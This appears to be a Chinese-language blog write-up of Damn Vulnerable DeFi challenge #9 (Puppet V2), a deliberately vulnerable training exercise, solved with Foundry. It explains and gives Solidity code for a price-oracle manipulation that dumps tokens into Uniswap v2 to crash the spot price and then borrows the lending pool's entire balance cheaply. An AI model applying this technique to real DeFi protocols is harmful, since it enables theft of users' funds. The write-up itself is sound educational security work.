banner
zach

zach

github
twitter
medium

該死的易受攻擊的DeFi | PuppetV2

挑戰 #9 - Puppet V2#

為了學習 solidity 和 foundry 系統,我重新編寫了 damnvulnerable-defi 的解題方案,基於 foundry 測試框架。歡迎交流和共建~🎉

合約#

  • PuppetV2Pool: 提供 borrow 方法,用 weth 換出 token,token 價格來自於 uniswap 的報價
  • Uniswap-v2 相關合約

測試#

  • 部署 weth 和 token 合約
  • 部署 uniswap factory、router、pair 合約
  • 通過與 router 合約互動注入流動性,token 數目:UNISWAP_INITIAL_TOKEN_RESERVE,eth 數目:UNISWAP_INITIAL_WETH_RESERVE
  • 部署 puppetV2Pool 合約,向 player 和 pool 中分別轉入 PLAYER_INITIAL_TOKEN_BALANCE 和 POOL_INITIAL_TOKEN_BALANCE 數目的 token
  • 執行測試腳本
  • 期望 pool 中的 token 餘額為 0,player 的 token 餘額大於 POOL_INITIAL_TOKEN_BALANCE

解題方案#

這道題的攻擊思路和 Puppet- v1 的思路類似,仍然是利用 uniswap 價格預言機對 pool 進行攻擊,

值得注意的是這裡使用的都是 uniswap-v2,在 v2 中使用的是 token 和 weth 的代幣對,但是 player 用戶開始只有 eth,需要與 weth 合約進行互動

完整的攻擊流程如下圖所示:

  • 第一步:通過調用swapExactTokensForTokens 將 player 帳戶中的全部 token 換成 weth,從而降低 token 在 uniswap 中的單價
  • 第二步:計算借出池子中的全部 token 需要花費多少 weth,在經過第一步後已經拿到一部分 weth,再通過質押 eth 補齊剩餘的 weth
  • 第三步:調用池子的borrow 方法,將 pool 中的全部 token 借出
  • 第四步:(本題未做要求,可以將 weth 放入池子中,補足池子中的差價)

image

完整的步驟代碼示例如下:

token.approve(address(uniswapV2Router), PLAYER_INITIAL_TOKEN_BALANCE);
address[] memory path = new address[](2);
path[0] = address(token);
path[1] = address(weth);
// swap token to weth
uniswapV2Router.swapExactTokensForTokens(
    PLAYER_INITIAL_TOKEN_BALANCE, // amount in
    1,                            // amount out min
    path,                         // path
    address(player),              // to
    block.timestamp*2             // deadline
);
uint256 value = pool.calculateDepositOfWETHRequired(POOL_INITIAL_TOKEN_BALANCE);
uint256 depositValue = value - weth.balanceOf(address(player));
weth.deposit{value: depositValue}();
weth.approve(address(pool), value);
pool.borrow(POOL_INITIAL_TOKEN_BALANCE);
載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。